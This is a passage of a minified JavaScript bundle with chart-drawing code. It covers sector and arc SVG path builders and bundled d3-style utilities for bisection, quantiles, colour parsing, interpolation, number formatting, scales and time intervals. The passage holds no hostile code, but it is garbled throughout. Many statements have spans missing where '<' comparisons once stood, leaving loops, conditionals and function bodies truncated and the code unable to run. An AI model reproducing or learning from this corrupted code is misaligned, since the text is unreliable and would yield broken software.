null;var{startAngle:c,endAngle:u}=KM(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?Gy(Gy({},t),{},{radius:i,angle:qM(d,t)}):null};function lN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=et(t,n,r,i),l=et(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var Xy,Zy,Qy,Jy,e1,t1,n1;function $m(){return $m=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=It(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},zl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/eu,f=c?i:i+a*d,m=et(t,n,u,f),h=et(t,n,r,f),x=c?i-a*d:i,g=et(t,n,u*Math.cos(d*eu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},cN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=GM(a,o),c=a+l,u=et(t,n,i,a),d=et(t,n,i,c),f=Ke(Xy||(Xy=zi(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=et(t,n,r,a),h=et(t,n,r,c);f+=Ke(Zy||(Zy=zi(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Ke(Qy||(Qy=zi(["L ",","," Z"])),t,n);return f},XM=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=It(u-c),{circleTangency:f,lineTangency:m,theta:h}=zl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=zl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Ke(Jy||(Jy=zi(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),m.x,m.y,a,a,a*2,a,a,-a*2):cN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Ke(e1||(e1=zi(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=zl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=zl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(O<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Ke(t1||(t1=zi(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(O>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Ke(n1||(n1=zi(["L",",","Z"])),t,n);return b},ZM={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},uN=e=>{var t=rn(e,ZM),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a0&&Math.abs(u-d)<360?g=XM({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=cN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",$m({},At(t),{className:m,d:g}))};function QM(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(E5(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=et(r,i,a,l),u=et(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return lN(t)}}var dN={},fN={},pN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(pN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=pN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(fN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jx,n=fN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?it?1:e>=t?0:NaN}function e8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function Tx(e){let t,n,r;e.length!==2?(t=ei,n=(l,c)=>ei(e(l),c),r=(l,c)=>e(l)-c):(t=e===ei||e===e8?e:t8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function t8(){return 0}function hN(e){return e===null?NaN:+e}function*n8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const r8=Tx(ei),Wo=r8.right;Tx(hN).center;class r1 extends Map{constructor(t,n=s8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(i1(this,t))}has(t){return super.has(i1(this,t))}set(t,n){return super.set(i8(this,t),n)}delete(t){return super.delete(a8(this,t))}}function i1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function i8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function a8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function s8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function o8(e=ei){if(e===ei)return xN;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function xN(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const l8=Math.sqrt(50),c8=Math.sqrt(10),u8=Math.sqrt(2);function tu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=l8?10:a>=c8?5:a>=u8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function s1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function vN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?xN:o8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));vN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(ws(e,n,t),i(e[r],a)>0&&ws(e,n,r);o0;)--l}i(e[n],a)===0?ws(e,n,l):(++l,ws(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function ws(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function d8(e,t,n){if(e=Float64Array.from(n8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return s1(e);if(t>=1)return a1(e);var r,i=(r-1)*t,a=Math.floor(i),o=a1(vN(e,a).subarray(0,a+1)),l=s1(e.subarray(a+1));return o+(l-o)*(i-a)}}function f8(e,t,n=hN){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function p8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Cl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Cl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=x8.exec(e))?new Dt(t[1],t[2],t[3],1):(t=v8.exec(e))?new Dt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=g8.exec(e))?Cl(t[1],t[2],t[3],t[4]):(t=y8.exec(e))?Cl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=b8.exec(e))?p1(t[1],t[2]/100,t[3]/100,1):(t=w8.exec(e))?p1(t[1],t[2]/100,t[3]/100,t[4]):o1.hasOwnProperty(e)?u1(o1[e]):e==="transparent"?new Dt(NaN,NaN,NaN,0):null}function u1(e){return new Dt(e>>16&255,e>>8&255,e&255,1)}function Cl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Dt(e,t,n,r)}function N8(e){return e instanceof Uo||(e=So(e)),e?(e=e.rgb(),new Dt(e.r,e.g,e.b,e.opacity)):new Dt}function Vm(e,t,n,r){return arguments.length===1?N8(e):new Dt(e,t,n,r??1)}function Dt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Ix(Dt,Vm,yN(Uo,{brighter(e){return e=e==null?nu:Math.pow(nu,e),new Dt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?ko:Math.pow(ko,e),new Dt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Dt(Oi(this.r),Oi(this.g),Oi(this.b),ru(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:d1,formatHex:d1,formatHex8:S8,formatRgb:f1,toString:f1}));function d1(){return`#${Ci(this.r)}${Ci(this.g)}${Ci(this.b)}`}function S8(){return`#${Ci(this.r)}${Ci(this.g)}${Ci(this.b)}${Ci((isNaN(this.opacity)?1:this.opacity)*255)}`}function f1(){const e=ru(this.opacity);return`${e===1?"rgb(":"rgba("}${Oi(this.r)}, ${Oi(this.g)}, ${Oi(this.b)}${e===1?")":`, ${e})`}`}function ru(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Oi(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Ci(e){return e=Oi(e),(e<16?"0":"")+e.toString(16)}function p1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Pn(e,t,n,r)}function bN(e){if(e instanceof Pn)return new Pn(e.h,e.s,e.l,e.opacity);if(e instanceof Uo||(e=So(e)),!e)return new Pn;if(e instanceof Pn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n0&&c<1?0:o,new Pn(o,l,c,e.opacity)}function z8(e,t,n,r){return arguments.length===1?bN(e):new Pn(e,t,n,r??1)}function Pn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Ix(Pn,z8,yN(Uo,{brighter(e){return e=e==null?nu:Math.pow(nu,e),new Pn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?ko:Math.pow(ko,e),new Pn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Dt(Vf(e>=240?e-240:e+120,i,r),Vf(e,i,r),Vf(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Pn(m1(this.h),Pl(this.s),Pl(this.l),ru(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=ru(this.opacity);return`${e===1?"hsl(":"hsla("}${m1(this.h)}, ${Pl(this.s)*100}%, ${Pl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function m1(e){return e=(e||0)%360,e<0?e+360:e}function Pl(e){return Math.max(0,Math.min(1,e||0))}function Vf(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const Dx=e=>()=>e;function C8(e,t){return function(n){return e+n*t}}function P8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function E8(e){return(e=+e)==1?wN:function(t,n){return n-t?P8(t,n,e):Dx(isNaN(t)?n:t)}}function wN(e,t){var n=t-e;return n?C8(e,n):Dx(isNaN(e)?t:e)}const h1=function e(t){var n=E8(t);function r(i,a){var o=n((i=Vm(i)).r,(a=Vm(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=wN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function A8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;in&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:iu(r,i)})),n=Hf.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function F8(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i2?W8:F8,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),iu)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,au),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=Rx,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Pt,d()):o!==Pt},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function $x(){return zd()(Pt,Pt)}function U8(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function su(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Fa(e){return e=su(Math.abs(e)),e?e[1]:NaN}function V8(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function H8(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var K8=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function zo(e){if(!(t=K8.exec(e)))throw new Error("invalid format: "+e);var t;return new Bx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}zo.prototype=Bx.prototype;function Bx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Bx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function q8(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var ou;function Y8(e,t){var n=su(e,t);if(!n)return ou=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(ou=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+su(e,Math.max(0,t+a-1))[0]}function v1(e,t){var n=su(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const g1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:U8,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>v1(e*100,t),r:v1,s:Y8,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function y1(e){return e}var b1=Array.prototype.map,w1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function G8(e){var t=e.grouping===void 0||e.thousands===void 0?y1:V8(b1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?y1:H8(b1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=zo(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):g1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),O=g1[S],_=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(E){var U=N,K=z,R,I,F;if(S==="c")K=O(E)+K,E="";else{E=+E;var B=E<0||1/E<0;if(E=isNaN(E)?c:O(Math.abs(E),j),k&&(E=q8(E)),B&&+E==0&&g!=="+"&&(B=!1),U=(B?g==="("?g:l:g==="-"||g==="("?"":g)+U,K=(S==="s"&&!isNaN(E)&&ou!==void 0?w1[8+ou/3]:"")+K+(B&&g==="("?")":""),_){for(R=-1,I=E.length;++RF||F>57){K=(F===46?i+E.slice(R+1):E.slice(R))+K,E=E.slice(0,R);break}}}w&&!v&&(E=t(E,1/0));var V=U.length+E.length+K.length,$=V>1)+U+E+K+$.slice(V);break;default:E=$+U+E+K;break}return a(E)}return T.toString=function(){return f+""},T}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Fa(m)/3)))*3,x=Math.pow(10,-h),g=u((f=zo(f),f.type="f",f),{suffix:w1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var El,Fx,jN;X8({thousands:",",grouping:[3],currency:["$",""]});function X8(e){return El=G8(e),Fx=El.format,jN=El.formatPrefix,El}function Z8(e){return Math.max(0,-Fa(Math.abs(e)))}function Q8(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Fa(t)/3)))*3-Fa(Math.abs(e)))}function J8(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Fa(t)-Fa(e))+1}function kN(e,t,n,r){var i=Wm(e,t,n),a;switch(r=zo(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=Q8(i,o))&&(r.precision=a),jN(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=J8(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=Z8(i))&&(r.precision=a-(r.type==="%")*2);break}}return Fx(r)}function ui(e){var t=e.domain;return e.ticks=function(n){var r=t();return Bm(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return kN(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l0;){if(u=Fm(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function NN(){var e=$x();return e.copy=function(){return Vo(e,NN())},yn.apply(e,arguments),ui(e)}function SN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,au),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return SN(e).unknown(t)},e=arguments.length?Array.from(e,au):[0,1],ui(n)}function zN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return aMath.pow(e,t)}function iL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function N1(e){return(t,n)=>-e(-t,n)}function Wx(e){const t=e(j1,k1),n=t.domain;let r=10,i,a;function o(){return i=iL(r),a=rL(r),n()[0]<0?(i=N1(i),a=N1(a),e(eL,tL)):e(j1,k1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;m<=h;++m)for(x=1;xd)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=zo(c)).precision==null&&(c.trim=!0),c=Fx(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*rn(zN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function CN(){const e=Wx(zd()).domain([1,10]);return e.copy=()=>Vo(e,CN()).base(e.base()),yn.apply(e,arguments),e}function S1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function z1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function Ux(e){var t=1,n=e(S1(t),z1(t));return n.constant=function(r){return arguments.length?e(S1(t=+r),z1(t)):t},ui(n)}function PN(){var e=Ux(zd());return e.copy=function(){return Vo(e,PN()).constant(e.constant())},yn.apply(e,arguments)}function C1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function aL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function sL(e){return e<0?-e*e:e*e}function Vx(e){var t=e(Pt,Pt),n=1;function r(){return n===1?e(Pt,Pt):n===.5?e(aL,sL):e(C1(n),C1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},ui(t)}function Hx(){var e=Vx(zd());return e.copy=function(){return Vo(e,Hx()).exponent(e.exponent())},yn.apply(e,arguments),e}function oL(){return Hx.apply(null,arguments).exponent(.5)}function P1(e){return Math.sign(e)*e*e}function lL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function EN(){var e=$x(),t=[0,1],n=!1,r;function i(a){var o=lL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(P1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,au)).map(P1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return EN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},yn.apply(i,arguments),ui(i)}function AN(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return _N().domain([e,t]).range(i).unknown(a)},yn.apply(ui(o),arguments)}function ON(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[Wo(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return ON().domain(e).range(t).unknown(n)},yn.apply(i,arguments)}const Kf=new Date,qf=new Date;function st(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(ust(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(Kf.setTime(+a),qf.setTime(+o),e(Kf),e(qf),Math.floor(n(Kf,qf))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const lu=st(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);lu.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?st(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):lu);lu.range;const sr=1e3,pn=sr*60,or=pn*60,vr=or*24,Kx=vr*7,E1=vr*30,Yf=vr*365,Pi=st(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*sr)},(e,t)=>(t-e)/sr,e=>e.getUTCSeconds());Pi.range;const qx=st(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*sr)},(e,t)=>{e.setTime(+e+t*pn)},(e,t)=>(t-e)/pn,e=>e.getMinutes());qx.range;const Yx=st(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*pn)},(e,t)=>(t-e)/pn,e=>e.getUTCMinutes());Yx.range;const Gx=st(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*sr-e.getMinutes()*pn)},(e,t)=>{e.setTime(+e+t*or)},(e,t)=>(t-e)/or,e=>e.getHours());Gx.range;const Xx=st(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*or)},(e,t)=>(t-e)/or,e=>e.getUTCHours());Xx.range;const Ho=st(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*pn)/vr,e=>e.getDate()-1);Ho.range;const Cd=st(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/vr,e=>e.getUTCDate()-1);Cd.range;const 